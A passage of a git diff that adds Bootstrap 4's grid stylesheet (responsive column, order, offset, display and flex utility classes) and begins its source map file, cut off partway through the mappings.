} + .col-md-2 { + -ms-flex: 0 0 16.666667%; + flex: 0 0 16.666667%; + max-width: 16.666667%; + } + .col-md-3 { + -ms-flex: 0 0 25%; + flex: 0 0 25%; + max-width: 25%; + } + .col-md-4 { + -ms-flex: 0 0 33.333333%; + flex: 0 0 33.333333%; + max-width: 33.333333%; + } + .col-md-5 { + -ms-flex: 0 0 41.666667%; + flex: 0 0 41.666667%; + max-width: 41.666667%; + } + .col-md-6 { + -ms-flex: 0 0 50%; + flex: 0 0 50%; + max-width: 50%; + } + .col-md-7 { + -ms-flex: 0 0 58.333333%; + flex: 0 0 58.333333%; + max-width: 58.333333%; + } + .col-md-8 { + -ms-flex: 0 0 66.666667%; + flex: 0 0 66.666667%; + max-width: 66.666667%; + } + .col-md-9 { + -ms-flex: 0 0 75%; + flex: 0 0 75%; + max-width: 75%; + } + .col-md-10 { + -ms-flex: 0 0 83.333333%; + flex: 0 0 83.333333%; + max-width: 83.333333%; + } + .col-md-11 { + -ms-flex: 0 0 91.666667%; + flex: 0 0 91.666667%; + max-width: 91.666667%; + } + .col-md-12 { + -ms-flex: 0 0 100%; + flex: 0 0 100%; + max-width: 100%; + } + .order-md-first { + -ms-flex-order: -1; + order: -1; + } + .order-md-last { + -ms-flex-order: 13; + order: 13; + } + .order-md-0 { + -ms-flex-order: 0; + order: 0; + } + .order-md-1 { + -ms-flex-order: 1; + order: 1; + } + .order-md-2 { + -ms-flex-order: 2; + order: 2; + } + .order-md-3 { + -ms-flex-order: 3; + order: 3; + } + .order-md-4 { + -ms-flex-order: 4; + order: 4; + } + .order-md-5 { + -ms-flex-order: 5; + order: 5; + } + .order-md-6 { + -ms-flex-order: 6; + order: 6; + } + .order-md-7 { + -ms-flex-order: 7; + order: 7; + } + .order-md-8 { + -ms-flex-order: 8; + order: 8; + } + .order-md-9 { + -ms-flex-order: 9; + order: 9; + } + .order-md-10 { + -ms-flex-order: 10; + order: 10; + } + .order-md-11 { + -ms-flex-order: 11; + order: 11; + } + .order-md-12 { + -ms-flex-order: 12; + order: 12; + } + .offset-md-0 { + margin-left: 0; + } + .offset-md-1 { + margin-left: 8.333333%; + } + .offset-md-2 { + margin-left: 16.666667%; + } + .offset-md-3 { + margin-left: 25%; + } + .offset-md-4 { + margin-left: 33.333333%; + } + .offset-md-5 { + margin-left: 41.666667%; + } + .offset-md-6 { + margin-left: 50%; + } + .offset-md-7 { + margin-left: 58.333333%; + } + .offset-md-8 { + margin-left: 66.666667%; + } + .offset-md-9 { + margin-left: 75%; + } + .offset-md-10 { + margin-left: 83.333333%; + } + .offset-md-11 { + margin-left: 91.666667%; + } +} + +@media (min-width: 992px) { + .col-lg { + -ms-flex-preferred-size: 0; + flex-basis: 0; + -ms-flex-positive: 1; + flex-grow: 1; + max-width: 100%; + } + .col-lg-auto { + -ms-flex: 0 0 auto; + flex: 0 0 auto; + width: auto; + max-width: none; + } + .col-lg-1 { + -ms-flex: 0 0 8.333333%; + flex: 0 0 8.333333%; + max-width: 8.333333%; + } + .col-lg-2 { + -ms-flex: 0 0 16.666667%; + flex: 0 0 16.666667%; + max-width: 16.666667%; + } + .col-lg-3 { + -ms-flex: 0 0 25%; + flex: 0 0 25%; + max-width: 25%; + } + .col-lg-4 { + -ms-flex: 0 0 33.333333%; + flex: 0 0 33.333333%; + max-width: 33.333333%; + } + .col-lg-5 { + -ms-flex: 0 0 41.666667%; + flex: 0 0 41.666667%; + max-width: 41.666667%; + } + .col-lg-6 { + -ms-flex: 0 0 50%; + flex: 0 0 50%; + max-width: 50%; + } + .col-lg-7 { + -ms-flex: 0 0 58.333333%; + flex: 0 0 58.333333%; + max-width: 58.333333%; + } + .col-lg-8 { + -ms-flex: 0 0 66.666667%; + flex: 0 0 66.666667%; + max-width: 66.666667%; + } + .col-lg-9 { + -ms-flex: 0 0 75%; + flex: 0 0 75%; + max-width: 75%; + } + .col-lg-10 { + -ms-flex: 0 0 83.333333%; + flex: 0 0 83.333333%; + max-width: 83.333333%; + } + .col-lg-11 { + -ms-flex: 0 0 91.666667%; + flex: 0 0 91.666667%; + max-width: 91.666667%; + } + .col-lg-12 { + -ms-flex: 0 0 100%; + flex: 0 0 100%; + max-width: 100%; + } + .order-lg-first { + -ms-flex-order: -1; + order: -1; + } + .order-lg-last { + -ms-flex-order: 13; + order: 13; + } + .order-lg-0 { + -ms-flex-order: 0; + order: 0; + } + .order-lg-1 { + -ms-flex-order: 1; + order: 1; + } + .order-lg-2 { + -ms-flex-order: 2; + order: 2; + } + .order-lg-3 { + -ms-flex-order: 3; + order: 3; + } + .order-lg-4 { + -ms-flex-order: 4; + order: 4; + } + .order-lg-5 { + -ms-flex-order: 5; + order: 5; + } + .order-lg-6 { + -ms-flex-order: 6; + order: 6; + } + .order-lg-7 { + -ms-flex-order: 7; + order: 7; + } + .order-lg-8 { + -ms-flex-order: 8; + order: 8; + } + .order-lg-9 { + -ms-flex-order: 9; + order: 9; + } + .order-lg-10 { + -ms-flex-order: 10; + order: 10; + } + .order-lg-11 { + -ms-flex-order: 11; + order: 11; + } + .order-lg-12 { + -ms-flex-order: 12; + order: 12; + } + .offset-lg-0 { + margin-left: 0; + } + .offset-lg-1 { + margin-left: 8.333333%; + } + .offset-lg-2 { + margin-left: 16.666667%; + } + .offset-lg-3 { + margin-left: 25%; + } + .offset-lg-4 { + margin-left: 33.333333%; + } + .offset-lg-5 { + margin-left: 41.666667%; + } + .offset-lg-6 { + margin-left: 50%; + } + .offset-lg-7 { + margin-left: 58.333333%; + } + .offset-lg-8 { + margin-left: 66.666667%; + } + .offset-lg-9 { + margin-left: 75%; + } + .offset-lg-10 { + margin-left: 83.333333%; + } + .offset-lg-11 { + margin-left: 91.666667%; + } +} + +@media (min-width: 1200px) { + .col-xl { + -ms-flex-preferred-size: 0; + flex-basis: 0; + -ms-flex-positive: 1; + flex-grow: 1; + max-width: 100%; + } + .col-xl-auto { + -ms-flex: 0 0 auto; + flex: 0 0 auto; + width: auto; + max-width: none; + } + .col-xl-1 { + -ms-flex: 0 0 8.333333%; + flex: 0 0 8.333333%; + max-width: 8.333333%; + } + .col-xl-2 { + -ms-flex: 0 0 16.666667%; + flex: 0 0 16.666667%; + max-width: 16.666667%; + } + .col-xl-3 { + -ms-flex: 0 0 25%; + flex: 0 0 25%; + max-width: 25%; + } + .col-xl-4 { + -ms-flex: 0 0 33.333333%; + flex: 0 0 33.333333%; + max-width: 33.333333%; + } + .col-xl-5 { + -ms-flex: 0 0 41.666667%; + flex: 0 0 41.666667%; + max-width: 41.666667%; + } + .col-xl-6 { + -ms-flex: 0 0 50%; + flex: 0 0 50%; + max-width: 50%; + } + .col-xl-7 { + -ms-flex: 0 0 58.333333%; + flex: 0 0 58.333333%; + max-width: 58.333333%; + } + .col-xl-8 { + -ms-flex: 0 0 66.666667%; + flex: 0 0 66.666667%; + max-width: 66.666667%; + } + .col-xl-9 { + -ms-flex: 0 0 75%; + flex: 0 0 75%; + max-width: 75%; + } + .col-xl-10 { + -ms-flex: 0 0 83.333333%; + flex: 0 0 83.333333%; + max-width: 83.333333%; + } + .col-xl-11 { + -ms-flex: 0 0 91.666667%; + flex: 0 0 91.666667%; + max-width: 91.666667%; + } + .col-xl-12 { + -ms-flex: 0 0 100%; + flex: 0 0 100%; + max-width: 100%; + } + .order-xl-first { + -ms-flex-order: -1; + order: -1; + } + .order-xl-last { + -ms-flex-order: 13; + order: 13; + } + .order-xl-0 { + -ms-flex-order: 0; + order: 0; + } + .order-xl-1 { + -ms-flex-order: 1; + order: 1; + } + .order-xl-2 { + -ms-flex-order: 2; + order: 2; + } + .order-xl-3 { + -ms-flex-order: 3; + order: 3; + } + .order-xl-4 { + -ms-flex-order: 4; + order: 4; + } + .order-xl-5 { + -ms-flex-order: 5; + order: 5; + } + .order-xl-6 { + -ms-flex-order: 6; + order: 6; + } + .order-xl-7 { + -ms-flex-order: 7; + order: 7; + } + .order-xl-8 { + -ms-flex-order: 8; + order: 8; + } + .order-xl-9 { + -ms-flex-order: 9; + order: 9; + } + .order-xl-10 { + -ms-flex-order: 10; + order: 10; + } + .order-xl-11 { + -ms-flex-order: 11; + order: 11; + } + .order-xl-12 { + -ms-flex-order: 12; + order: 12; + } + .offset-xl-0 { + margin-left: 0; + } + .offset-xl-1 { + margin-left: 8.333333%; + } + .offset-xl-2 { + margin-left: 16.666667%; + } + .offset-xl-3 { + margin-left: 25%; + } + .offset-xl-4 { + margin-left: 33.333333%; + } + .offset-xl-5 { + margin-left: 41.666667%; + } + .offset-xl-6 { + margin-left: 50%; + } + .offset-xl-7 { + margin-left: 58.333333%; + } + .offset-xl-8 { + margin-left: 66.666667%; + } + .offset-xl-9 { + margin-left: 75%; + } + .offset-xl-10 { + margin-left: 83.333333%; + } + .offset-xl-11 { + margin-left: 91.666667%; + } +} + +.d-none { + display: none !important; +} + +.d-inline { + display: inline !important; +} + +.d-inline-block { + display: inline-block !important; +} + +.d-block { + display: block !important; +} + +.d-table { + display: table !important; +} + +.d-table-row { + display: table-row !important; +} + +.d-table-cell { + display: table-cell !important; +} + +.d-flex { + display: -ms-flexbox !important; + display: flex !important; +} + +.d-inline-flex { + display: -ms-inline-flexbox !important; + display: inline-flex !important; +} + +@media (min-width: 576px) { + .d-sm-none { + display: none !important; + } + .d-sm-inline { + display: inline !important; + } + .d-sm-inline-block { + display: inline-block !important; + } + .d-sm-block { + display: block !important; + } + .d-sm-table { + display: table !important; + } + .d-sm-table-row { + display: table-row !important; + } + .d-sm-table-cell { + display: table-cell !important; + } + .d-sm-flex { + display: -ms-flexbox !important; + display: flex !important; + } + .d-sm-inline-flex { + display: -ms-inline-flexbox !important; + display: inline-flex !important; + } +} + +@media (min-width: 768px) { + .d-md-none { + display: none !important; + } + .d-md-inline { + display: inline !important; + } + .d-md-inline-block { + display: inline-block !important; + } + .d-md-block { + display: block !important; + } + .d-md-table { + display: table !important; + } + .d-md-table-row { + display: table-row !important; + } + .d-md-table-cell { + display: table-cell !important; + } + .d-md-flex { + display: -ms-flexbox !important; + display: flex !important; + } + .d-md-inline-flex { + display: -ms-inline-flexbox !important; + display: inline-flex !important; + } +} + +@media (min-width: 992px) { + .d-lg-none { + display: none !important; + } + .d-lg-inline { + display: inline !important; + } + .d-lg-inline-block { + display: inline-block !important; + } + .d-lg-block { + display: block !important; + } + .d-lg-table { + display: table !important; + } + .d-lg-table-row { + display: table-row !important; + } + .d-lg-table-cell { + display: table-cell !important; + } + .d-lg-flex { + display: -ms-flexbox !important; + display: flex !important; + } + .d-lg-inline-flex { + display: -ms-inline-flexbox !important; + display: inline-flex !important; + } +} + +@media (min-width: 1200px) { + .d-xl-none { + display: none !important; + } + .d-xl-inline { + display: inline !important; + } + .d-xl-inline-block { + display: inline-block !important; + } + .d-xl-block { + display: block !important; + } + .d-xl-table { + display: table !important; + } + .d-xl-table-row { + display: table-row !important; + } + .d-xl-table-cell { + display: table-cell !important; + } + .d-xl-flex { + display: -ms-flexbox !important; + display: flex !important; + } + .d-xl-inline-flex { + display: -ms-inline-flexbox !important; + display: inline-flex !important; + } +} + +@media print { + .d-print-none { + display: none !important; + } + .d-print-inline { + display: inline !important; + } + .d-print-inline-block { + display: inline-block !important; + } + .d-print-block { + display: block !important; + } + .d-print-table { + display: table !important; + } + .d-print-table-row { + display: table-row !important; + } + .d-print-table-cell { + display: table-cell !important; + } + .d-print-flex { + display: -ms-flexbox !important; + display: flex !important; + } + .d-print-inline-flex { + display: -ms-inline-flexbox !important; + display: inline-flex !important; + } +} + +.flex-row { + -ms-flex-direction: row !important; + flex-direction: row !important; +} + +.flex-column { + -ms-flex-direction: column !important; + flex-direction: column !important; +} + +.flex-row-reverse { + -ms-flex-direction: row-reverse !important; + flex-direction: row-reverse !important; +} + +.flex-column-reverse { + -ms-flex-direction: column-reverse !important; + flex-direction: column-reverse !important; +} + +.flex-wrap { + -ms-flex-wrap: wrap !important; + flex-wrap: wrap !important; +} + +.flex-nowrap { + -ms-flex-wrap: nowrap !important; + flex-wrap: nowrap !important; +} + +.flex-wrap-reverse { + -ms-flex-wrap: wrap-reverse !important; + flex-wrap: wrap-reverse !important; +} + +.flex-fill { + -ms-flex: 1 1 auto !important; + flex: 1 1 auto !important; +} + +.flex-grow-0 { + -ms-flex-positive: 0 !important; + flex-grow: 0 !important; +} + +.flex-grow-1 { + -ms-flex-positive: 1 !important; + flex-grow: 1 !important; +} + +.flex-shrink-0 { + -ms-flex-negative: 0 !important; + flex-shrink: 0 !important; +} + +.flex-shrink-1 { + -ms-flex-negative: 1 !important; + flex-shrink: 1 !important; +} + +.justify-content-start { + -ms-flex-pack: start !important; + justify-content: flex-start !important; +} + +.justify-content-end { + -ms-flex-pack: end !important; + justify-content: flex-end !important; +} + +.justify-content-center { + -ms-flex-pack: center !important; + justify-content: center !important; +} + +.justify-content-between { + -ms-flex-pack: justify !important; + justify-content: space-between !important; +} + +.justify-content-around { + -ms-flex-pack: distribute !important; + justify-content: space-around !important; +} + +.align-items-start { + -ms-flex-align: start !important; + align-items: flex-start !important; +} + +.align-items-end { + -ms-flex-align: end !important; + align-items: flex-end !important; +} + +.align-items-center { + -ms-flex-align: center !important; + align-items: center !important; +} + +.align-items-baseline { + -ms-flex-align: baseline !important; + align-items: baseline !important; +} + +.align-items-stretch { + -ms-flex-align: stretch !important; + align-items: stretch !important; +} + +.align-content-start { + -ms-flex-line-pack: start !important; + align-content: flex-start !important; +} + +.align-content-end { + -ms-flex-line-pack: end !important; + align-content: flex-end !important; +} + +.align-content-center { + -ms-flex-line-pack: center !important; + align-content: center !important; +} + +.align-content-between { + -ms-flex-line-pack: justify !important; + align-content: space-between !important; +} + +.align-content-around { + -ms-flex-line-pack: distribute !important; + align-content: space-around !important; +} + +.align-content-stretch { + -ms-flex-line-pack: stretch !important; + align-content: stretch !important; +} + +.align-self-auto { + -ms-flex-item-align: auto !important; + align-self: auto !important; +} + +.align-self-start { + -ms-flex-item-align: start !important; + align-self: flex-start !important; +} + +.align-self-end { + -ms-flex-item-align: end !important; + align-self: flex-end !important; +} + +.align-self-center { + -ms-flex-item-align: center !important; + align-self: center !important; +} + +.align-self-baseline { + -ms-flex-item-align: baseline !important; + align-self: baseline !important; +} + +.align-self-stretch { + -ms-flex-item-align: stretch !important; + align-self: stretch !important; +} + +@media (min-width: 576px) { + .flex-sm-row { + -ms-flex-direction: row !important; + flex-direction: row !important; + } + .flex-sm-column { + -ms-flex-direction: column !important; + flex-direction: column !important; + } + .flex-sm-row-reverse { + -ms-flex-direction: row-reverse !important; + flex-direction: row-reverse !important; + } + .flex-sm-column-reverse { + -ms-flex-direction: column-reverse !important; + flex-direction: column-reverse !important; + } + .flex-sm-wrap { + -ms-flex-wrap: wrap !important; + flex-wrap: wrap !important; + } + .flex-sm-nowrap { + -ms-flex-wrap: nowrap !important; + flex-wrap: nowrap !important; + } + .flex-sm-wrap-reverse { + -ms-flex-wrap: wrap-reverse !important; + flex-wrap: wrap-reverse !important; + } + .flex-sm-fill { + -ms-flex: 1 1 auto !important; + flex: 1 1 auto !important; + } + .flex-sm-grow-0 { + -ms-flex-positive: 0 !important; + flex-grow: 0 !important; + } + .flex-sm-grow-1 { + -ms-flex-positive: 1 !important; + flex-grow: 1 !important; + } + .flex-sm-shrink-0 { + -ms-flex-negative: 0 !important; + flex-shrink: 0 !important; + } + .flex-sm-shrink-1 { + -ms-flex-negative: 1 !important; + flex-shrink: 1 !important; + } + .justify-content-sm-start { + -ms-flex-pack: start !important; + justify-content: flex-start !important; + } + .justify-content-sm-end { + -ms-flex-pack: end !important; + justify-content: flex-end !important; + } + .justify-content-sm-center { + -ms-flex-pack: center !important; + justify-content: center !important; + } + .justify-content-sm-between { + -ms-flex-pack: justify !important; + justify-content: space-between !important; + } + .justify-content-sm-around { + -ms-flex-pack: distribute !important; + justify-content: space-around !important; + } + .align-items-sm-start { + -ms-flex-align: start !important; + align-items: flex-start !important; + } + .align-items-sm-end { + -ms-flex-align: end !important; + align-items: flex-end !important; + } + .align-items-sm-center { + -ms-flex-align: center !important; + align-items: center !important; + } + .align-items-sm-baseline { + -ms-flex-align: baseline !important; + align-items: baseline !important; + } + .align-items-sm-stretch { + -ms-flex-align: stretch !important; + align-items: stretch !important; + } + .align-content-sm-start { + -ms-flex-line-pack: start !important; + align-content: flex-start !important; + } + .align-content-sm-end { + -ms-flex-line-pack: end !important; + align-content: flex-end !important; + } + .align-content-sm-center { + -ms-flex-line-pack: center !important; + align-content: center !important; + } + .align-content-sm-between { + -ms-flex-line-pack: justify !important; + align-content: space-between !important; + } + .align-content-sm-around { + -ms-flex-line-pack: distribute !important; + align-content: space-around !important; + } + .align-content-sm-stretch { + -ms-flex-line-pack: stretch !important; + align-content: stretch !important; + } + .align-self-sm-auto { + -ms-flex-item-align: auto !important; + align-self: auto !important; + } + .align-self-sm-start { + -ms-flex-item-align: start !important; + align-self: flex-start !important; + } + .align-self-sm-end { + -ms-flex-item-align: end !important; + align-self: flex-end !important; + } + .align-self-sm-center { + -ms-flex-item-align: center !important; + align-self: center !important; + } + .align-self-sm-baseline { + -ms-flex-item-align: baseline !important; + align-self: baseline !important; + } + .align-self-sm-stretch { + -ms-flex-item-align: stretch !important; + align-self: stretch !important; + } +} + +@media (min-width: 768px) { + .flex-md-row { + -ms-flex-direction: row !important; + flex-direction: row !important; + } + .flex-md-column { + -ms-flex-direction: column !important; + flex-direction: column !important; + } + .flex-md-row-reverse { + -ms-flex-direction: row-reverse !important; + flex-direction: row-reverse !important; + } + .flex-md-column-reverse { + -ms-flex-direction: column-reverse !important; + flex-direction: column-reverse !important; + } + .flex-md-wrap { + -ms-flex-wrap: wrap !important; + flex-wrap: wrap !important; + } + .flex-md-nowrap { + -ms-flex-wrap: nowrap !important; + flex-wrap: nowrap !important; + } + .flex-md-wrap-reverse { + -ms-flex-wrap: wrap-reverse !important; + flex-wrap: wrap-reverse !important; + } + .flex-md-fill { + -ms-flex: 1 1 auto !important; + flex: 1 1 auto !important; + } + .flex-md-grow-0 { + -ms-flex-positive: 0 !important; + flex-grow: 0 !important; + } + .flex-md-grow-1 { + -ms-flex-positive: 1 !important; + flex-grow: 1 !important; + } + .flex-md-shrink-0 { + -ms-flex-negative: 0 !important; + flex-shrink: 0 !important; + } + .flex-md-shrink-1 { + -ms-flex-negative: 1 !important; + flex-shrink: 1 !important; + } + .justify-content-md-start { + -ms-flex-pack: start !important; + justify-content: flex-start !important; + } + .justify-content-md-end { + -ms-flex-pack: end !important; + justify-content: flex-end !important; + } + .justify-content-md-center { + -ms-flex-pack: center !important; + justify-content: center !important; + } + .justify-content-md-between { + -ms-flex-pack: justify !important; + justify-content: space-between !important; + } + .justify-content-md-around { + -ms-flex-pack: distribute !important; + justify-content: space-around !important; + } + .align-items-md-start { + -ms-flex-align: start !important; + align-items: flex-start !important; + } + .align-items-md-end { + -ms-flex-align: end !important; + align-items: flex-end !important; + } + .align-items-md-center { + -ms-flex-align: center !important; + align-items: center !important; + } + .align-items-md-baseline { + -ms-flex-align: baseline !important; + align-items: baseline !important; + } + .align-items-md-stretch { + -ms-flex-align: stretch !important; + align-items: stretch !important; + } + .align-content-md-start { + -ms-flex-line-pack: start !important; + align-content: flex-start !important; + } + .align-content-md-end { + -ms-flex-line-pack: end !important; + align-content: flex-end !important; + } + .align-content-md-center { + -ms-flex-line-pack: center !important; + align-content: center !important; + } + .align-content-md-between { + -ms-flex-line-pack: justify !important; + align-content: space-between !important; + } + .align-content-md-around { + -ms-flex-line-pack: distribute !important; + align-content: space-around !important; + } + .align-content-md-stretch { + -ms-flex-line-pack: stretch !important; + align-content: stretch !important; + } + .align-self-md-auto { + -ms-flex-item-align: auto !important; + align-self: auto !important; + } + .align-self-md-start { + -ms-flex-item-align: start !important; + align-self: flex-start !important; + } + .align-self-md-end { + -ms-flex-item-align: end !important; + align-self: flex-end !important; + } + .align-self-md-center { + -ms-flex-item-align: center !important; + align-self: center !important; + } + .align-self-md-baseline { + -ms-flex-item-align: baseline !important; + align-self: baseline !important; + } + .align-self-md-stretch { + -ms-flex-item-align: stretch !important; + align-self: stretch !important; + } +} + +@media (min-width: 992px) { + .flex-lg-row { + -ms-flex-direction: row !important; + flex-direction: row !important; + } + .flex-lg-column { + -ms-flex-direction: column !important; + flex-direction: column !important; + } + .flex-lg-row-reverse { + -ms-flex-direction: row-reverse !important; + flex-direction: row-reverse !important; + } + .flex-lg-column-reverse { + -ms-flex-direction: column-reverse !important; + flex-direction: column-reverse !important; + } + .flex-lg-wrap { + -ms-flex-wrap: wrap !important; + flex-wrap: wrap !important; + } + .flex-lg-nowrap { + -ms-flex-wrap: nowrap !important; + flex-wrap: nowrap !important; + } + .flex-lg-wrap-reverse { + -ms-flex-wrap: wrap-reverse !important; + flex-wrap: wrap-reverse !important; + } + .flex-lg-fill { + -ms-flex: 1 1 auto !important; + flex: 1 1 auto !important; + } + .flex-lg-grow-0 { + -ms-flex-positive: 0 !important; + flex-grow: 0 !important; + } + .flex-lg-grow-1 { + -ms-flex-positive: 1 !important; + flex-grow: 1 !important; + } + .flex-lg-shrink-0 { + -ms-flex-negative: 0 !important; + flex-shrink: 0 !important; + } + .flex-lg-shrink-1 { + -ms-flex-negative: 1 !important; + flex-shrink: 1 !important; + } + .justify-content-lg-start { + -ms-flex-pack: start !important; + justify-content: flex-start !important; + } + .justify-content-lg-end { + -ms-flex-pack: end !important; + justify-content: flex-end !important; + } + .justify-content-lg-center { + -ms-flex-pack: center !important; + justify-content: center !important; + } + .justify-content-lg-between { + -ms-flex-pack: justify !important; + justify-content: space-between !important; + } + .justify-content-lg-around { + -ms-flex-pack: distribute !important; + justify-content: space-around !important; + } + .align-items-lg-start { + -ms-flex-align: start !important; + align-items: flex-start !important; + } + .align-items-lg-end { + -ms-flex-align: end !important; + align-items: flex-end !important; + } + .align-items-lg-center { + -ms-flex-align: center !important; + align-items: center !important; + } + .align-items-lg-baseline { + -ms-flex-align: baseline !important; + align-items: baseline !important; + } + .align-items-lg-stretch { + -ms-flex-align: stretch !important; + align-items: stretch !important; + } + .align-content-lg-start { + -ms-flex-line-pack: start !important; + align-content: flex-start !important; + } + .align-content-lg-end { + -ms-flex-line-pack: end !important; + align-content: flex-end !important; + } + .align-content-lg-center { + -ms-flex-line-pack: center !important; + align-content: center !important; + } + .align-content-lg-between { + -ms-flex-line-pack: justify !important; + align-content: space-between !important; + } + .align-content-lg-around { + -ms-flex-line-pack: distribute !important; + align-content: space-around !important; + } + .align-content-lg-stretch { + -ms-flex-line-pack: stretch !important; + align-content: stretch !important; + } + .align-self-lg-auto { + -ms-flex-item-align: auto !important; + align-self: auto !important; + } + .align-self-lg-start { + -ms-flex-item-align: start !important; + align-self: flex-start !important; + } + .align-self-lg-end { + -ms-flex-item-align: end !important; + align-self: flex-end !important; + } + .align-self-lg-center { + -ms-flex-item-align: center !important; + align-self: center !important; + } + .align-self-lg-baseline { + -ms-flex-item-align: baseline !important; + align-self: baseline !important; + } + .align-self-lg-stretch { + -ms-flex-item-align: stretch !important; + align-self: stretch !important; + } +} + +@media (min-width: 1200px) { + .flex-xl-row { + -ms-flex-direction: row !important; + flex-direction: row !important; + } + .flex-xl-column { + -ms-flex-direction: column !important; + flex-direction: column !important; + } + .flex-xl-row-reverse { + -ms-flex-direction: row-reverse !important; + flex-direction: row-reverse !important; + } + .flex-xl-column-reverse { + -ms-flex-direction: column-reverse !important; + flex-direction: column-reverse !important; + } + .flex-xl-wrap { + -ms-flex-wrap: wrap !important; + flex-wrap: wrap !important; + } + .flex-xl-nowrap { + -ms-flex-wrap: nowrap !important; + flex-wrap: nowrap !important; + } + .flex-xl-wrap-reverse { + -ms-flex-wrap: wrap-reverse !important; + flex-wrap: wrap-reverse !important; + } + .flex-xl-fill { + -ms-flex: 1 1 auto !important; + flex: 1 1 auto !important; + } + .flex-xl-grow-0 { + -ms-flex-positive: 0 !important; + flex-grow: 0 !important; + } + .flex-xl-grow-1 { + -ms-flex-positive: 1 !important; + flex-grow: 1 !important; + } + .flex-xl-shrink-0 { + -ms-flex-negative: 0 !important; + flex-shrink: 0 !important; + } + .flex-xl-shrink-1 { + -ms-flex-negative: 1 !important; + flex-shrink: 1 !important; + } + .justify-content-xl-start { + -ms-flex-pack: start !important; + justify-content: flex-start !important; + } + .justify-content-xl-end { + -ms-flex-pack: end !important; + justify-content: flex-end !important; + } + .justify-content-xl-center { + -ms-flex-pack: center !important; + justify-content: center !important; + } + .justify-content-xl-between { + -ms-flex-pack: justify !important; + justify-content: space-between !important; + } + .justify-content-xl-around { + -ms-flex-pack: distribute !important; + justify-content: space-around !important; + } + .align-items-xl-start { + -ms-flex-align: start !important; + align-items: flex-start !important; + } + .align-items-xl-end { + -ms-flex-align: end !important; + align-items: flex-end !important; + } + .align-items-xl-center { + -ms-flex-align: center !important; + align-items: center !important; + } + .align-items-xl-baseline { + -ms-flex-align: baseline !important; + align-items: baseline !important; + } + .align-items-xl-stretch { + -ms-flex-align: stretch !important; + align-items: stretch !important; + } + .align-content-xl-start { + -ms-flex-line-pack: start !important; + align-content: flex-start !important; + } + .align-content-xl-end { + -ms-flex-line-pack: end !important; + align-content: flex-end !important; + } + .align-content-xl-center { + -ms-flex-line-pack: center !important; + align-content: center !important; + } + .align-content-xl-between { + -ms-flex-line-pack: justify !important; + align-content: space-between !important; + } + .align-content-xl-around { + -ms-flex-line-pack: distribute !important; + align-content: space-around !important; + } + .align-content-xl-stretch { + -ms-flex-line-pack: stretch !important; + align-content: stretch !important; + } + .align-self-xl-auto { + -ms-flex-item-align: auto !important; + align-self: auto !important; + } + .align-self-xl-start { + -ms-flex-item-align: start !important; + align-self: flex-start !important; + } + .align-self-xl-end { + -ms-flex-item-align: end !important; + align-self: flex-end !important; + } + .align-self-xl-center { + -ms-flex-item-align: center !important; + align-self: center !important; + } + .align-self-xl-baseline { + -ms-flex-item-align: baseline !important; + align-self: baseline !important; + } + .align-self-xl-stretch { + -ms-flex-item-align: stretch !important; + align-self: stretch !important; + } +} +/*# sourceMappingURL=bootstrap-grid.css.map */ \ No newline at end of file diff --git a/public/css/bootstrap-grid.css.map b/public/css/bootstrap-grid.css.map new file mode 100644 index 0000000..8922d4c --- /dev/null +++ b/public/css/bootstrap-grid.css.map @@ -0,0 +1 @@ +{"version":3,"sources":["../../scss/bootstrap-grid.scss","bootstrap-grid.css","../../scss/_grid.scss","../../scss/mixins/_grid.scss","../../scss/mixins/_breakpoints.scss","../../scss/_variables.scss","../../scss/mixins/_grid-framework.scss","../../scss/utilities/_display.scss","../../scss/utilities/_flex.scss"],"names":[],"mappings":"AAAA;;;;;GAKG;AAGD;EAAgB,oBAAmB;CCApC;;ADGD;EACE,uBAAsB;EACtB,8BAA6B;CAC9B;;AAED;;;EAGE,oBAAmB;CACpB;;AEfC;ECAA,YAAW;EACX,oBAAuC;EACvC,mBAAsC;EACtC,mBAAkB;EAClB,kBAAiB;CDDhB;;AEoDC;EFvDF;ICYI,iBEuKK;GHhLR;CDyBF;;AG2BG;EFvDF;ICYI,iBEwKK;GHjLR;CD+BF;;AGqBG;EFvDF;ICYI,iBEyKK;GHlLR;CDqCF;;AGeG;EFvDF;ICYI,kBE0KM;GHnLT;CD2CF;;AClCC;ECZA,YAAW;EACX,oBAAuC;EACvC,mBAAsC;EACtC,mBAAkB;EAClB,kBAAiB;CDUhB;;AAQD;ECJA,qBAAa;EAAb,cAAa;EACb,oBAAe;EAAf,gBAAe;EACf,oBAAuC;EACvC,mBAAsC;CDGrC;;AAID;EACE,gBAAe;EACf,eAAc;CAOf;;AATD;;EAMI,iBAAgB;EAChB,gBAAe;CAChB;;AIlCH;;;;;;EACE,mBAAkB;EAClB,YAAW;EACX,gBAAe;EACf,oBAA4B;EAC5B,mBAA2B;CAC5B;;AAkBG;EACE,2BAAa;EAAb,cAAa;EACb,qBAAY;EAAZ,aAAY;EACZ,gBAAe;CAChB;;AACD;EACE,mBAAc;EAAd,eAAc;EACd,YAAW;EACX,gBAAe;CAChB;;AAGC;EHFN,wBAAsC;EAAtC,oBAAsC;EAItC,qBAAuC;CGAhC;;AAFD;EHFN,yBAAsC;EAAtC,qBAAsC;EAItC,sBAAuC;CGAhC;;AAFD;EHFN,kBAAsC;EAAtC,cAAsC;EAItC,eAAuC;CGAhC;;AAFD;EHFN,yBAAsC;EAAtC,qBAAsC;EAItC,sBAAuC;CGAhC;;AAFD;EHFN,yBAAsC;EAAtC,qBAAsC;EAItC,sBAAuC;CGAhC;;AAFD;EHFN,kBAAsC;EAAtC,cAAsC;EAItC,eAAuC;CGAhC;;AAFD;EHFN,yBAAsC;EAAtC,qBAAsC;EAItC,sBAAuC;CGAhC;;AAFD;EHFN,yBAAsC;EAAtC,qBAAsC;EAItC,sBAAuC;CGAhC;;AAFD;EHFN,kBAAsC;EAAtC,cAAsC;EAItC,eAAuC;CGAhC;;AAFD;EHFN,yBAAsC;EAAtC,qBAAsC;EAItC,sBAAuC;CGAhC;;AAFD;EHFN,yBAAsC;EAAtC,qBAAsC;EAItC,sBAAuC;CGAhC;;AAFD;EHFN,mBAAsC;EAAtC,eAAsC;EAItC,gBAAuC;CGAhC;;AAGH;EAAwB,mBAAS;EAAT,UAAS;CAAK;;AAEtC;EAAuB,mBAAmB;EAAnB,UAAmB;CAAI;;AAG5C;EAAwB,kBADZ;EACY,SADZ;CACyB;;AAArC;EAAwB,kBADZ;EACY,SADZ;CACyB;;AAArC;EAAwB,kBADZ;EACY,SADZ;CACyB;;AAArC;EAAwB,kBADZ;EACY,SADZ;CACyB;;AAArC;EAAwB,kBADZ;EACY,SADZ;CACyB;;AAArC;EAAwB,kBADZ;EACY,SADZ;CACyB;;AAArC;EAAwB,kBADZ;EACY,SAD